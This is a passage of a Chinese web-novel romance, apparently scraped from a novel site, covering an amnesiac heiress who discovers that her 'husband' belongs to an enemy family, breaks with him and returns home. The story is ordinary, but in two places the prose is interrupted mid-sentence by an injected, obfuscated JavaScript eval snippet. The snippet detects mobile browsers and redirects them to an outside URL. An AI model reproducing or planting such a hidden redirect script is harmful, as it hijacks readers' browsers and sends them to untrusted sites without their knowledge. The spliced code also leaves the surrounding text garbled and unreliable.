渐好的伤口也重新回忆起了痛感,不管不顾地加入了大部队中。 差一点,就差那么一点。 她还以为熟悉的安全感又回来了。却不成想,那是临深渊前最后的昙花一现,就像是奶-头乐,短暂的希望和甜头之后,是更凶猛、更无力的黑暗。 他知道自己就是沈述白。 他们的手机……应该也修好了。 那手机里……恐怕藏着刺破一切梦境幻想的利刃。 但是现在已经不需要手机了,她的哥哥,就是一把更强劲的利刃。 那声质问完全在江云的意料之内:“珺珺,你这一个多月都跟他在一起?还把他当成了老公?!” 好冷。 呼吸肌骤然失去了动力,难以牵制鼻腔往内吸入新鲜的空气。身体里的气体、血液全都跟着凝滞。她持续看着那个男人,他还在挣扎,只是那温柔的琥珀海渐渐失了光泽和温度,海面的水汽蒸发,琥珀海愈发朦胧。 傅淮湛的一声“珺珺”,笼罩在海面的气雾凝聚,颤抖着奔涌而出。他已经不顾一切,挤开了横在他们之间的阻碍,精准地握紧她的手。 他的嗓音也失了控,根本找不准该有的音调:“云云,你先别乱想,你先听我说,关于我们俩之间……” “你给我松开!沈述白,你跟珺珺就不应该有任何接触!” 可他像是没听到傅淮湛的话,抓在她手上的力道更重。他俯下身,生怕耽误一秒:“云云,不是,我们俩之间不是那样,你先跟我过来,我单独跟你说!” 虎口掉了一滴又一滴滚烫,江云无意识地随着他的颤抖狠狠发颤。 好烫,烫进那黑潭中,烧出了一个洞。 然而就是那个洞,让他体内的黑潭有了可趁之机,灌入她的身体,肆意融合、两两发力,江云感觉身体所有的机能都消失了。 只有缺失空气带来的大片窒息、血液凝固铸就的浑身冰冷。 耳边的轰响还在继续。 傅淮湛丝毫不带犹豫,甩臂推开他:“过去什么?你们根本没什么话需要单独说!” 而他陡然松开的手又很快抓回来,继续坚持:“我们肯定不全是像新闻上说的那样,肯定不是的!” “沈述白!我说了你给我……” “云云!你相信我,你相信……” “你……”手背强烈的灼热烫开了她即将凝固的血液,只瞬间,全身的血管畅通无阻,拽回了身体本能的反应,气体也终于流通,给了她机会打断持续刺入耳膜的声音:“是不是修好了那两部手机?” 这话是对着江阔说的。 她头一次感觉,自己的声音如此奏效。 房间门口瞬间陷入了静默中,连不远处的海浪声都自觉隐匿。 他的话语噎在嘴边,再没了继续说出口的勇气。 只有一双手还倔强地抓着她。 江云盯着那双手许久,眉头一次次地蹙紧,她强压着想要翻涌起来的酸劲,一点一点抽回了自己的手,侧眸道:“江晴,你先回工作室吧。” 江晴连连点头,身影很快消失在转角。 江云又抬眸瞥他一眼,推开了傅淮湛揽在她肩上的手,径直往房间走。 两个男人都跟了进来,傅淮湛把他拦在了身后,不准他靠近她。 江云很快便看到那扇没关好的柜门。 她扯了扯唇,却没能笑出来。双腿麻木地往前,一步、两步…… 脑海中闪过几帧画面:紧张的他、敏感的他、反常的他、陌生的他…… 身后还有他的嘶吼:“云云!” 声音落下的瞬间,柜门敞开,她看到了胡乱躺在他们西装上的两部手机,其中一部已经自动亮屏。 原来……如此。 江云拿着那两部手机,回到中央的圆桌,平静地拉开椅子坐下,把手机扔在了桌上。 她没有看他一眼,只说:“你们过来坐下。” 傅淮湛快步上前,率先占据离她最近的位置。 而他,坐在她的正对面,鼻腔里时不时发出声气音。 江云垂着眼皮,斜眼瞟到傅淮湛的皮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987606|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鞋,漆黑锃亮,冒着严肃的冷光。 “江阔。”她轻唤。 对面的男人立刻回应:“云云……” 唇齿都颤出硌响。 江云捏紧了虎口,眉心本能地挤了一下,继续:“你别说话,一句话……都不要说。” 他喉间溢出声闷哼,到嘴的话好似被他吞了回去。 江云继续往下按,拇指已经发白,她依旧低着头,道:“哥……” 傅淮湛嗯了声。 “你只用告诉我,我……和他,傅珺瑶……和沈述白,究竟是什么关系?” “仇人。”干脆利落的两个字几乎脱口而出,的的确确是把利刃,狂烈又精准地刺破了这一个多月险些成型的美梦。 话音刚落,一滴滚烫掉落在拇指,烫得关节狠狠一收,在虎口掐出了一道深红的月牙。 江云耳边只剩下不断震动耳膜的轰鸣。 仇人…… 仇人。 仇人! 居然真的是…… “我们不会的。” “我们一定不会是痛苦的结局。” “那一定是段美好又浪漫的过去。” 她不想再往下听了。 强压着从内里升起的酸软,江云起了身,二话不说就要往外走。 江阔也几乎是在同一时间起身,在她绕过圆桌时跨步挡在她身前,手掌偏了几次才抓牢她的胳膊。 “云云,云云不是这样的!我们还有这个竹音哨!这个竹音哨背后肯定还有我们没想起来的事!说不定我们也和江晴他们一样,存在的仇恨不过是个误会而已!” 他的声音从头颤到了尾,语速快到生怕慢一秒她就会离开。 那片琥珀海面的气雾越来越多,凝聚的水珠一滴一滴砸在木地板上,不断刺激着江云早已不见踪影的心脏。 她看到了他颈前的竹音哨。 “哪里来的什么误会?!”傅淮湛的声音彻底阻断了江云思考的机会。 他的脸色再度凝冷,强势的压迫感回归,再次横臂甩开江阔的手,完完全全挡在江云身前。 “沈述白,既然你也失忆了,我不介意帮你好好回忆回忆我们傅家和你们沈家之间的恩怨!” 江云所能触及的视线全部被傅淮湛占据,她往后退了两步,也只能看到江阔的一半轮廓。 就让他们回忆好了。 她不想听。 一个字都不想听。 她的梦境碎到这里就够了。 她不要这梦境也沉入那汪黑潭。 不要…… 她继续后退,傅淮湛却突然转身,拽紧她的胳膊:“珺珺!你也应该知道,你跟他之间存在的恩怨!” 傅淮湛的目光剜过来,身后已经是万丈悬崖,退无可退。 她抬眸,终于能看到他,他却垂下眸,再不看她一眼。 只有木地板上逐渐密集的水珠。 江云本能的想要缩回手臂,可她挣扎的力度越重,他禁锢的力度也跟着加重。 傅淮湛不顾两人的沉默,执意要撕开蒙在这段荒唐梦境的最后一层薄纱。 “二十三年前,我们的大伯和他姑姑联姻,在这段婚姻不过维持三个月后,他们两个人在公寓互杀身亡!” 30. 02 傅淮湛强硬同江云对视,眸中的盛怒几近将她烧死。 江云躲避他的视线,垂下眸,脑中却不自觉重复。 互杀……身亡? 傅淮湛继续:“我们傅家拥有整个淮北最大的房地产集团,他们家是专门研发科技的安防系统集团,爷爷和他爷爷是旧交,所以一直有想法让傅沈两家的孩子联姻,恰好,大伯和他姑姑是从小一起长大的青梅竹马,有感情基础,也是两家长辈看中的继承人。” 房地产…… 科技…… 江云下意识咬紧了唇,耳边还能捕捉到水珠砸在地板的声音。 “这场联姻,是两家长辈都盼望已久的大事,他们也如长辈所愿,有了最盛大的婚礼,顺利成了集团新一代的核心人物,同时开启了当时两家合作推出的新楼盘项目。然而好景不长,大伯突然被人诬陷婚内出轨,他姑姑连问都不问一句!转手就把安防系统的源代码给毁了!直接导致小区的安防系统受损严重,造成大量失窃案件,很快便将傅家推到了风口浪尖处。” “大伯主动揽下所有罪名,甚至主动去找他姑姑,结果呢,等来的就是他们在公寓身亡的消息!在那之后,爷爷就跟他们沈家断交了,这么多年,我们两家从来都是互不干涉、绝不往来,这是人尽皆知的事!” 所以作为傅沈两家的后代,他们也是从小被教育要远离对方,绝对不轻易跟对方扯上半点关系。 互不干涉、绝不往来。 江云在心底重复,咬在唇肉的硬齿更用力。 “珺珺,你在失忆前是最了解爷爷的人,爷爷最看重的人也是你,这件事情在爷爷心里留下了非常深的阴影!这么多年他都没办法接受失去大伯这个儿子,所以他也绝对不可能接受你跟沈述白在一起!更别说在你们失忆之前,你有多讨厌这个人!” 最后一句话出口时,江云的身子狠狠一震。 眼前的世界突然模糊,仿佛也被那黑潭波及,隐隐有了坍塌之象。 讨厌…… 她是爷爷亲手带大、培养的继承人,自然也继承了爷爷的念想,自从他们进入集团的核心区后,见面和接触是无可避免的,但无人不知他们两家的关系,也无人不知他们俩关系恶劣,或者劣语相向,或者势必要压对方一头,更甚于在公众场合大打出手。 “所以珺珺,你能跟任何人在一起,但绝对不能是他!” 傅淮湛似乎是觉得光有言语不够,还特地翻出手机里存留的图片出来佐证。 一张张陌生的图片从眼前滑过,江云能认得出来里面的人,却完全不知道那是发生在一个怎样的背景之下。 唯一能看出来的,是他们的互不相让,以及无论如何也藏不住的敌意。 她没说话,再次看向那人。 他还是低着头。 只一刹那,江云感觉心脏在她无法准确感知的地方被一道无形中的力量狠狠一刺。随之而来的,是毁灭般的绝望和绞进脊髓的疼痛。 他也知道。 他连这个也知道。 看着地上那滩成形的水窝,江云眼前的模糊猝然消失,嘴角下意识往上扯了扯。 长久的沉默。 傅淮湛一双眸子仍然停在江云身上,带着坚定的审视,以及强烈的期待。 江云艰难地吸了口气,气体进入的那一刻,浑身都没忍住颤抖起来,双脚差点没站稳。 “珺珺……”傅淮湛的语气突然软了下来,眼疾手快地扶稳她。 不远处的那人也抬起头。 江云斜开视线,拿了桌上的手机,再次深吸口气,好不容易把交换的气体吐出来,才有了力气说话。 她的声音已经嘶哑到变声。 有那么一瞬间,她甚至觉得那不是自己的声音,就连这具身体也不是她的。 她看向傅淮湛:“哥,我没有跟他在一起,我跟他没有任何关系。” 那人两腿往前,双臂悬在空中。 江云始终躲避他的视线,抓着傅淮湛,说:“你带我走,带我离开这里……” 语气一开始还算得上平静,到后面已经颤得厉害。 “好!我们走!我们现在就走!” 傅淮湛攥着她的手,转身就要拉着她离开,江阔却横在他们身前。 “不行!云云,你答应过我的!你说了!你说了不会离开我,你说了不会骗我!别走云云!” 他也几乎站不稳,只靠一双紧紧挽留她的手强力支撑着自己。 “沈述白,你听不懂人话是么?你跟珺珺根本就没有在一起的可能!你给我松手!” 傅淮湛不由分说地推阻,然而这一次,江阔像是什么都不顾了,像一剂强力粘合胶,怎么都推不走,死死地钳制住江云。 江云抬眼看过去的那一刻,心脏蓦地紧了紧,手腕上的疼好像蔓延到了心口。 那片琥珀海完全失去了平静,汹涌的波涛一阵高过一阵,覆盖了水雾,直接从眼眶决堤。 无数滴泪珠从眼角滑脱,明明没有触碰到那颗黑色耳钉,却浇灭了那耳钉上所有的光。 “沈述白!你别不识好歹!再不松我可就动手了!”傅淮湛怒喝。 江阔充耳不闻,一双眸子乞求般地凝着她,嘴里只重复着那几句话。 “云云,你答应过我,会一辈子做我老婆……” “你说过你不会骗我……” “你说过不会离开我,不要骗我,我求求你不要骗我……” 江云扯唇的动作更频繁,眼前又再次模糊。 一辈子。 她说过。 被他禁锢的手腕缓缓转动,江云抬手扣住了他的手背。 他的力道明显松了些。 眼底闪过一丝希望。 傅淮湛拧眉,语气又重新严肃:“珺珺。” 江云在江阔的注视下,试着慢慢抽出一只手,然后盖住他的手背。 他紧皱的眉头松开。 “珺珺!爷爷如果知道你跟他在一起,他一定会对你失望的!”傅淮湛又喝了声。 江云捏紧他的手,他轻轻颤着,泪珠又掉下来几颗,手指终于动了动,想要翻转过来牵住她。 可她比他快了一步。 快了一步推开他。 他好不容易松下去的平眉又重新拧紧。 他几乎瞬间反应过来,两只手再次往前抓,可江云又比他快了一步躲开他,甚至给了傅淮湛拦截的机会。 “云云!” 江云背手躲在傅淮湛身后,只有一双眼睛能看到他。 她捏紧了手,四指狠狠嵌入掌肉,冷睨着他,语速很慢:“江阔,你既然知道了那些事,你也应该明白,我和你,这一个多月的相处就是错的。” “不、不是……云云,那是上一辈的恩怨,那不是我们,不是我们……” “可你也看到了!不仅仅是上一辈!我和你之间更是!失忆之前我们就是彼此敌对,什么夫妻、什么恩爱伴侣,那不过是荒唐的幻想!” 江云抬高音量,迅速打断他。 她不要继续跟他纠缠下去,她也不想再听他说这些没有意义的话,她更不要再看到他这副面孔。 她居然真的就那么轻易去相信他们是所谓的夫妻,在这一个多月的时间里一次次妥协,跟他一次又一次拥抱、接吻,甚至差点…… “你搞清楚,我和你之前甚至不比江晴和江醇,我们之间隔了两条人命!你姑姑、我大伯,我们谁都不无辜!甚至于你和我,我们也没有什么相爱的前提,就更不应该在一起!” 说完,她也不听他的回答,推着傅淮湛,直奔房门口去。 傅淮湛也即刻会意,整个人挡在江云身前,一丝触碰的机会都没有留给江阔。 江云不顾一切地往前冲,穿过长廊,已经能看到小院的大门。 “云云!云云你别走!那不是……我爱你啊云云!那根本不是荒唐的幻想云云……” 脚下突然一滞,大脑失去了掌控力,江云只顷刻间便忘了该如何迈步。 就在她脚步快要乱到停滞下来时,身后骤然多了一道力—— 傅淮湛推着她疾步往前。 身后的人还在大喊:“云云!云云你先停下来!这里面还有很多疑问我们都没弄清楚!你别走,我求求你别走!” 他说完这句话时,江云已经被傅淮湛推至小院外。 恰好傅淮湛的助理开着他的车到了,傅淮湛让助理去找萍姐,然后迅速把江云推上车,用力拍紧车门,再次隔绝他们。 “沈述白,你不要再诡辩了!根本就没有什么疑问!你只需要清楚你和珺珺是仇人,你跟她绝对不可能在一起就够了!不要再追上来,也不 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江云用尽了全身的气力捂住耳朵,可耳边的声音却不仅没有被阻挡完全,反而越来越响。 “云云!云云!” 撕心裂肺的嘶吼不知道跨过了多长的距离,穿透坚实的玻璃车窗,越过皮肉的阻隔,精准地刺入耳膜。 江云听得心脑发乱。 她从胳膊里送出脑袋,眼前却是一片模糊。 无奈,她又松了左手,抹去挡在眼前的气雾。 他的嘶吼更加清晰。 一字一声,都像是披上了沉重的盔甲,重重踏进她的心脏。 远比他摔在地上的那一跤要重得多。 “江云!江云我求你别丢下我!云云!” 眼前的模糊又重新席卷。 江云没忍住,转了身回头,后车窗外飞奔的人影清晰地撞进眼底,周围全是围观的村民。 喉嗓一噎,江云无意识张唇,声带很快就要发声。 驾驶座的人却突然“啧”了声,肃冷的声音传出:“怎么这么多拐角,这路段车真是不好开!” 也让江阔有了机会追上来。 车前再次出现拐角,傅淮湛不得已再减速。 本就不宽阔的道路被出来围观的村民又挡住了大半,傅淮湛没办法,只能一慢再慢。 江阔再次有了可趁之机。 车速才慢下来的那一刻,坚实的玻璃窗被拍得震耳欲聋。 江阔的声音同样嘶哑:“云云!云云你别急着走好不好?不是那样的,就算我们以前是敌对的,可我现在已经不是以前的样子了云云,现在我爱你啊云云,你下车,你先下车好不好……” 江云感觉心口踏至的重量更足,每一步、每一步都压得她疼得快喘不过气来。 江云咬着牙,把头偏向一侧不看他。身体却压抑不住,除了本能地颤抖,抽噎的哭声也从喉间泄出。 傅淮湛猛地转头。 “珺珺……” “云云!云云你能听到我说话吗云云?你先下车,有什么问题你再等等好不好?你不要骗我、你答应不骗我的云云……”他的哭腔很重,重到足以将这个原本灿烂的晴天压成浓云大雨。 她第一次听到他哭成这样。 她也跟着,抽噎得更厉害。 车窗上多了几个清晰的手掌印。 车窗玻璃是单向的,江阔看不到里面。 车也一直没停下来,更没有回应给他。 他又跑去车前,张开手臂、颤着身子挡在车前,死死挡住了他们的去路。 “真是不识好歹!”傅淮湛的怒吼随着一声刺耳的喇叭声落下。 江阔一动不动、一瞬不瞬地盯着前方。 从江云的位置往前,恰好能够不偏不倚地对上他的视线。 “云云你先下车,我求你,先下车!”他哭吼。 傅淮湛没有开车门的打算,顺手后推档位,准备后退。 油门踩上去的前一刻,江云突然开口:“哥。” 鼻音很浓,声音很虚。 傅淮湛转头。 “你开车门,我最后跟他说几句话。” 31. 03 傅淮湛有几分迟疑,却也没忽略她话里的‘最后’那两个字。 几秒钟后,傅淮湛解了车门锁,又不忘补充:“珺珺,家里……爷爷和爸妈都在等你。” 江云握住车门把手的动作一僵。 ‘爷爷’那两个字就好像潜藏在她身体里的沉睡点,一旦被唤醒,就有种陌生又强势的力量压下来。哪怕此刻她的大脑近乎麻木,那种力量都足以让她去对抗车外的那人。 江云莫名有些慌乱。 明明是她要下车,也是她要说话,她却拿不准她会说什么。 这种慌乱只存在了两秒。 它被身体里因为‘爷爷’掀起的压迫感和强烈的羞愧击散。 “珺珺!爷爷如果知道你跟他在一起,他一定会对你失望的!” 傅淮湛的话在脑海中重复了一遍。 江云的身体本能地给了她回应:不行、不行,她不能让爷爷失望、她不能让爷爷失望! 手上的动作干脆果断,江云背手抹掉了脸颊残留的湿润,车门打开的那一刻下车。 江阔也在同一时间飞奔过来。 看到下来的人是她,他眸中又闪过如抓住救命稻草般的惊喜。 “云云!” 手腕上熟悉的力道回笼。 江云这一次没有挣脱,任由他抓握。 她平静地望着他,缓慢吞尽唇中碍事的湿黏。 他没有放过这一丝空档。 “云云,你不要走,我们先回去,我们先回去慢慢说,这里面还有很多疑问,我们肯定……” “沈述白。” 他的话被她冷声打断。 攥紧她手腕的五指突然失了温。 只一瞬间,便像是坠入万年冰川。 那双深褐色的眸子瞪大、再瞪大。 缩小的瞳孔仿佛一根圆刺,刺进她的心口,绵延一阵又一阵的钝痛,眼瞳无意识地缩了缩,往旁边移,停在了那颗黑色耳钉。 钝痛却陡然化成尖锐的刺痛。 她只能再度攥紧拳头。 “我…不是江云,我是傅珺瑶,是和沈述白有仇的傅珺瑶!江云和江阔,不过是你的臆想,造就了一切错误,变成了此刻的荒唐!他们……自始至终,就不应该存在!” 手腕上的力道松了些,手背却再次被滚烫灼伤。 她猛地抖了一下,却强力维持镇定。 然后继续:“好在这个错误被及时发现,损失…也不算太严重,反正也失去过一回记忆了,从现在开始,这段记忆我也不想再留在脑海,你也赶快忘掉得好,从今以后,我们依然是仇人!” 她咬完最后一个字,手腕顺势要从他的束缚中挣脱,准备回车里。 可她才往后松动,又被他抓紧。 他摇头,猛地摇头,那颗黑色耳钉已经晃到重影,她的视线根本无法聚焦。 “不要!不是!不是错误!云云,这对我来说从来就不是什么错误!你给我一点时间,就一点时间,我去弄清楚我们为什么会一起出事,你不要这么快就否定这一切好不好?” “这重要么?”她铆足了力往回抽手,“就算我们一起出事、一起失忆,那些过去的事实也不会骗人!在既定的事实面前,有的事情就算求证得来也是无济于事!” 她想冷静的。 可他不停刺激她,不停说那些扰乱她心神的话。 她控制不住才吼出来的。 没有人给她保留那个错误梦境的机会。 那她就只能亲手毁掉它。 “重要啊,这重要啊云云,我不要做沈述白,我不是沈述白,我只要你云云,我们就在这里做一辈子的江云和江阔好不好?你中午还答应过我要和我在这里办一场婚礼的,我不是沈述白,我不是!我就只是江阔,我就只是江阔!” 停在心脏的那根刺入得更深,几乎刺穿整颗心脏。 她要离开,她得离开。 “你放开我!”她无法再说出应对的话语,她想不出来应对的话语。 “我不放!我不放云云,别走、别离开……” “放开!” 他还是那样固执,她挣扎得越用力,他禁锢得越用力。 “我求你,我求求你,别走……” 她哑声,眼前模糊成一片。 两只胳膊只顾挣扎,两条腿开始往后退,想直接回车里。 可他却得寸进尺,一只手松开她的胳膊之后直接绕到她背后,想钳制她整个身子。 他想抱紧她。 她咬紧了牙,被松开的手蓄势,对准他伤口的位置,狠狠掐紧那一块皮肉。 他的嗓中顿出闷哼。 她掐得更紧。 他倔强地对上她的眸,手上的动作继续坚持。 “云云,我不放,我不会放开的!” 她紧咬的牙近乎失去知觉,鼻侧下意识抽搐。 脑海中只剩一个念头:离开。 “沈述白,你知道你这样有多恶心么?”她睨着他,一字一声地清晰吐出。 手上和肩背的束缚狠狠一愣,霎时全消。 他终于退开。 她清晰看到那双瞳孔缩成了细小的圆点。 穿透心脏的圆刺缓慢地嵌入肉中,再没有出来的打算。 “恶心?”他低声重复。 她的拳也捏得更紧,点头:“对,恶心!你明知道我们的关系是错的,非但不说穿,反而继续伪装下去,你明知道我和你有仇,还腆着脸一次又一次和我有亲密接触,你是非不分,就是恶心!” 他往后退了两步,琥珀海面下起倾盆大雨。 平眉下撇,那里原本潜藏的坚持和倔强,一瞬间没了踪影。 她的声音隐隐发颤,但还是坚持着说完:“和你在一起的这段荒唐日子,更让我感觉恶心至极!” “以后,我们要么不会再见面,就算再见到了,也一样是仇人!” 话音落下,她飞速躲进车里,压出声沉重的震响留给他。 车辆重新启动,她闷头窝在后座,傅淮湛看不到她,她也看不到任何东西。 泪水在埋头下去的那一刻决堤。 她咬着唇,完全压抑着声音。 错的、都是错的。 所有的一切都是假的,都是幻想! 耳边傅淮湛的声音再度响起:“珺珺,这件事我不会告诉爷爷,你失忆了情有可原,但是你一定得记住,你绝对不能再跟沈述白有任何关系!你不能让爷爷失望。” 爷爷…… 身体又应激性地产生了浓烈的羞愧。 她不能让爷爷失望。 她不能让爷爷失望。 头、好疼…… 好疼…… “你是我选定的继承人,我不希望你像你哥一样,明白吗?” “只有你才有资格继承恒璟,你不能让我失望!” “你不能让爷爷失望。” 对…… 她不能。 不能让爷爷失望! …… 江阔在车门震响的那一刻双腿完全软了力,跌坐在地上。 腰背被生硬的青石板路撞得生疼,腹前冒出一股热流,他都浑然未觉。 脑海中只有那两个字。 恶心。 胸腔一抽一抽地疼,鼻腔连通的呼吸道更是压抑不住的抽搐,全身的水分都急于发泄,一股脑地全都从眼睑飞涌而出。 恶心。 她觉得恶心。 她居然觉得恶心。 “江阔!江阔你没事吧?”身边熟悉的声音响起。 江晴和江醇还有萍姐都赶来了。 “小云呢?她人呢江阔?怎么搞成这个样子?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009159|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 江阔对所有的声音都听得不真切。 恶心。 她说他恶心。 泪水浸满了眼眶,他没觉得身体有多疼,只感觉呼吸不畅,眼前越来越模糊。 然后,身体被人架了起来。 再然后,五感全失。 “江阔!江阔!!” …… 淮北市,傅宅。 傅珺瑶下了车。 脚步却迟疑。 庄严、肃穆、压抑。 这是她对这里的第一印象。 “珺珺,我助理已经给了回音,江渔村那边他都安顿完毕。该送的也都送到江萍那里,还有补给江晴的订婚礼金,都安排好了。” 傅珺瑶深吸了口气,气体进入的那一瞬,呼吸道还残留着点反应,下意识抽搐。 “爷爷和爸妈在等你。” 回来的飞机上,她已经听他说了家里的基本情况。 爷爷奶奶就育有大伯和父亲两个孩子,大伯当年去世之后,奶奶的身体就一直不好,没过几年也病逝了。 集团本来是大伯继承,父亲志不在此,学的也是偏门专业。大伯去世之后,再往下一辈的他就成了被考虑的继承人。不过他较于她,没那么有天赋,加上他本没有接管集团的心思,在她去年硕士毕业之后,爷爷就把重任交到了她手上。 “这一辈就只有我们兄妹俩,珺珺,你比我有天赋,集团里的事,你也比我处理得更好。” 这是傅淮湛的原话。 傅珺瑶说不上来是什么感觉。 只是一次又一次回忆到那本书。 还有那句印象深刻的话—— “莉迪亚死了,可他们还不知道。” “珺珺?”耳边的声音带着隐隐催促。 傅珺瑶迅速从回忆里抽身,瞥了眼身旁的人。 他补充:“我相信你,以你的能力,哪怕失去记忆,也应该知道,什么话该说,什么话不该说。” 她抬眸,这栋宅子更显压抑。 她只嗯了声。 宅子的大门缓缓打开,一位年迈却依旧风姿不减的老人站在那里,身后是泪眼汪汪的一对夫妻。 傅珺瑶很快迎上那双略显苍老却威严如旧的灰眸。 身形一僵。 “珺珺、珺珺!你终于回来了,我快吓死了!还好你没事……” 那位穿着一身素衣的女人最先迈步,在话音落下的瞬间将她抱进怀里。 很温暖。 “珺珺,妈妈好担心你……幸好你没事……” 妈妈。 这是她的母亲。 “珺珺,淮淮说你失忆了,这是真的吗?你还认识爸爸吗?” 那位穿着灰色家居服的男人也走过来,一手揽住女人,一手揽住她。 爸爸。 这是她的父亲。 傅珺瑶眸光流转在两人身上,轻轻点头:“我…确实不记得以前的事了。” 至于原因,她自己都不知道。 傅淮湛也说过,她去洱南的行程没有人知道,更不清楚她为什么会和沈述白一起出事。 在她失踪之后他立刻报了警,根据她手机最后的定位只知道她最后的踪迹在洱南的临云高速,当时排查监控也没能查到跟她身份信息关联的车辆,甚至也没有消费记录。 如果不是因为她的手机再次开机,又跟她办公室的iPad关联,他根本找不到她。 她的身份证不在身上,也没在家里,她猜想,也许是掉进海里了。 没有消费记录…她也不记得是怎么一回事。 至于为什么和沈述白一起出事…… “好了。” 不远处的老人开口,声音浑厚有力,却隐隐哽咽。 “先进屋吧。” 傅珺瑶知道,那位,就是她的爷爷。 32. 04 比起宅子外的庄严、压抑,里面也没好到哪去。 这是傅珺瑶的感受。 四四方方的客厅内,装潢精致大方,真皮沙发在头顶铺陈下来的暖光下隐隐发亮,却没有什么温度。 几道视线同时汇集在她身上,很快便压下去了她回到家里的那点喜悦。 沉重的压迫感再度袭来,尤其是…那道不怒自威的眸子看过来时。 突然…有些想念温暖的海咸味。 还有…… “林医生马上到,珺珺,身上的伤不能马虎。”老人的声音仍然不紧不慢,残留的一丝哽咽也被扫去。 她受伤的事傅淮湛知道,在家人面前自然也不会成什么秘密。 傅珺瑶下意识道:“我的伤没什么事,都快好了。” 她悄然捏紧了手掌。 虽然是实话,可她觉得自己的语气太过小心翼翼。 视线再次扫过这偌大空间里的每一样物件。 昂贵的真皮沙发、整齐摆放的古董花瓶、精雕细琢的浅灰色墙面、严丝合缝的米白色窗帘。 面前还有一位喜怒不形于色的老人。 她又抿唇。 也是,在这样的环境里,很难做到不小心翼翼吧。 她注意到,连一直从容的傅淮湛也变得紧张,只安静地坐在离爷爷很远的那张沙发,稍微垂着眸,唇都抿成了一条线。 “那还是得看看,珺珺,我听说你是在小村庄待了一个多月,没受什么委屈吧?”母亲李茗蕤坐近了些,慢慢牵起她的手,裹在手心,眸中仍含泪光。 傅珺瑶有一瞬的放松,视线落在手上,又缓缓移向女人,母亲的眉眼温和,很像…… 傅珺瑶微愣,及时打断思绪,摇了摇头:“我没受委屈,幸好……遇上了一位心地善良又很热情的妇人。” “那就好、那就好……” “珺珺。”爷爷的声音慢悠悠地响起。 心口一凛,她再度攥紧手心,应了一声。 “你上任总经理的时间不久,又有这么长时间缺席,被你丢下的项目也是你哥经手过的,爷爷不干涉你,但也想提醒你,工作好的前提是得有个好身体。” 身体里的数十对神经同时绷紧。 她的回答甚至没有几经思考,直接从嘴边泄出:“我明白,爷爷,我不会让您失望的。” 手心被指甲嵌入,掀起细密的疼。 傅淮湛侧眸看过来,眼底好似闪过一抹诧异,可诧异过后,又满是解脱的欣喜。 傅珺瑶继续盯着前方。 那双严肃的眸突然缓和,甚至…弯起了弧度。 下一秒,老爷子沉厚的笑声回荡在整个客厅:“很好!珺珺,我就知道你不会让我失望!失忆了没关系,以你的实力,失不失忆都是一样的!” 接着,他又睨向傅淮湛:“等珺珺休息够了,你带她重新熟悉公司,她的项目重新交回她手上,你不许再插手。” 傅淮湛答得很快:“我明白。” 傅珺瑶瞥他一眼,再看向爷爷,心口盘旋的压抑感未减半分。 …… 傅珺瑶接受过林医生的诊治之后,回了房间。 林医生说这中药很管用,加上换药、包扎得也很仔细,只要不沾水、不刻意去碰它,就完全不会有问题。 至于失忆,林医生建议傅珺瑶抽空去医院做个检查,查清到底是器质性失忆还是心因性失忆,才方便有后续的治疗方案。 傅珺瑶直接闷头趴在了床上。 很陌生的房间。 宽敞的空间、华丽的装饰,不是她喜欢的风格,也没办法让她心安。 傅淮湛说,她自己还有套loft公寓,不过她好不容易才回来,今晚就留在傅宅比较好。 傅珺瑶注意到他整个人都异常放松,好似完全从枷锁中解脱,语气不像刚找到她时那样激动,动作也不再那样强硬。 可她身上却好似有了枷锁。 傅珺瑶目光僵直地盯着前方的地板,停顿几秒后,她又迅速从床上爬起来,走到桌前开了那部属于她的手机。 人脸识别解锁之后,她也不知道该点进哪里。 只好随便按下去。 打开的软件是备忘录。 拢共没几条,她应该不常写。 最新的一条备忘录她更是看不懂,只有两个字母:To。 To? To谁? 想不起来,又退出去,再下面一条就更奇怪:他送了一束粉帝王,下午两点半去见他。 粉帝王?他? 这个他又是谁? 据傅淮湛所说,她没有男朋友才是。 再下面是几条工作上的注意点,没什么参考价值。 她干脆退出备忘录,跳转其他软件。 这部手机是私人手机,没什么工作软件,基本就是社交软件和实用工具。 她干脆点进浏览器,搜了恒璟。 号称总经理,自然得了解了解,总不能真的带着一片空白回去。 官方网站内,她的照片就在最醒目的位置。 然而在看到自己时,她没忍住缩了缩瞳。 照片里的她就是那身她不喜欢的紫色西装,甚至也是最让她不自在的红唇,长发被束在脑后,看向镜头的眸子和爷爷竟有几分相似。 傅珺瑶皱紧了眉。 怪不得…… 怪不得她涂红唇会觉得熟悉。 居然真的是这样一副面孔。 左手本能地上抬,轻轻按在唇边。 她的视线下瞥。 左撇子…… 傅淮湛也是左撇子,这是他们遗传的么? 她这一路上都有注意到,他很不习惯用右手,伸手扶她、开车、站位,都是非常明显的左撇子。 可她不是,她好像左右都无所谓,没有那种对左右的强迫性,甚至她觉得用右手更顺畅,可身体总是下意识地先用左手。 比起先天,倒更像是训练来形成了条件反射的。 还有,傅淮湛为什么那么不想管理集团? 仅仅只是因为所谓的‘天赋’? 可她好像并没有感觉到自己的天赋。 而且爷爷为什么那么不待见他? 如果只是因为集团,是不是也太不顾亲情了? 亲情…… 亲情…… 傅珺瑶默默在心底重复。 心头的空虚更强烈。 如果是因为失忆她感受不到和爷爷之间的亲情,可为什么和爸妈之间就能有? 